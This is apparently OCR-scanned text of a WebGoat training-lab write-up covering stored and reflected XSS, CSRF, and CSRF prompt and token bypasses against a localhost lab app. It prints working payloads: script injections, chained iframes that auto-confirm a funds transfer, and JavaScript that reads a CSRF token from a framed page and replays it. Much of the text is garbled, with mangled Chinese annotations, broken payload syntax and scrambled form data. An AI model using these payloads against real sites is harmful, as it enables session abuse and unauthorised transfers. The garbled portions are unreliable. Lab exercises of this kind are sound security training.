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Stage 1: Stored XSS (f#XSSH )
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First Name: |Tom Last Name:l <scriptyalert(’ 121212 I

Street: 2211 HyperThread Rd. | City/State: |[Hew Vork, NY
Fhone: [443-682-0762 Start Date: |1011990
SEN: To2-14-6384 Salary: 0000
Credit Card
Credit Card: |54813508572968621 0000
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Verify that another employee using the link is affected by the attack.
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Stored XSS Attacks

LN SR, APERNKAEMKESR (message) MINHE, WRMAKR LIRS, RIG, EEFEBRNEGE RARBRAZ, MEIITRS. T,
BIR: HAtitle: test3, %iAmessagelf, #IA—HERFG (Flin: <script>alert(111')</script>) : W&

able to create message content that could cause another user to load an undesireabl
undesireable content when the user’ s messzage iz retrieved.
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&5

”

localhost:8080 273 *
Message Contents !
Title: — _| BN TNEETITEE.
Hessage:

Posted by! guest

Message List
title

test

testl
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Reflected XSS Attacks:
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8. FEEnter your three digit access code: i N G<script>alert('Bang!")</script>, sdiPurchase, &#ITRE. nTHE:



wictim to click on it

Shopping Cart

Shopping Cart Items —— To Buy NHow Price |Quantity|Total
Studio RTA - Laptop/Reading Cart with Tilting Surface —

A9, 88 369,85
Cherry
Dynex — Traditional Notebook Case 27.80 327,89
Hewlett—Packard - Pawilion Notehook with Intel Centrina 1689.09 $1594, 09
3 - Tear Performance Service Plan $1000 and Over 200,89 $209. 89

The total charged to your credit card: $1897.96

Enter your credit card mmber: 4128 3214 0002 1999
Enter your three digit access code: <scriptralert(’ Bang
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* Whoops, you entered [ ] instead of your three digit code. Please try again.
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Shopping Cart Items
1 Bang!
Studio RTA - Laptop/R¢
Cherry | BINEMEETREE.
Ivmex — Traditional N
Hewlett—FPackard - Pawi )
3 — Year Performance Service Plan $1000 and Over | 299.99‘ 1 ‘$299.99
The total charged to your credit card: $1997. 96

Enter your credit card number: 4128 3214 0002 1999
Enter your three digit access cods: <scriptialert( >

m8
Cross Site Request Forgery (CSRF)
KWHNE: EFBHFTHF AN (FHF B KRR, MBRITEKN R, SE3RERRER.
B HEMANA. BE—T: <image>tRE/AMBMIN &, LEASNERsrehfurl, Bk, TTRMEKurfE, #EHSH, BRBEREK.

succesds, a green checkmark appears heside the lesson name in the menu on the left. mazdge |-l

. R path
falze

secure
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\ %scr 2078372
enu | 900
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CSRF Prompt By-Pass

LRI titlefi Atest, messagedii A\ T i ARAG:

<iframe

src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=5000"

id="myFrame" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src="http://localhost:80808/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM' ;">
</iframe>
<iframe

id="frame2" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300">
</iframe>
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http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=5000
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http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
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CSRF Token By-Pass
LWAR: FIFERP AEEAMEEE, fifStoken, RFEALERIER.

<iframe src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=main"
onload="readFramel();"

id="framel" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300"></iframe>

<iframe id="frame2" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300"></iframe>

<script>
var tokensuffix;

function readFramel()

{
var frameDoc = document.getElementById("framel").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=5000" + tokensuffix;
}
</script>
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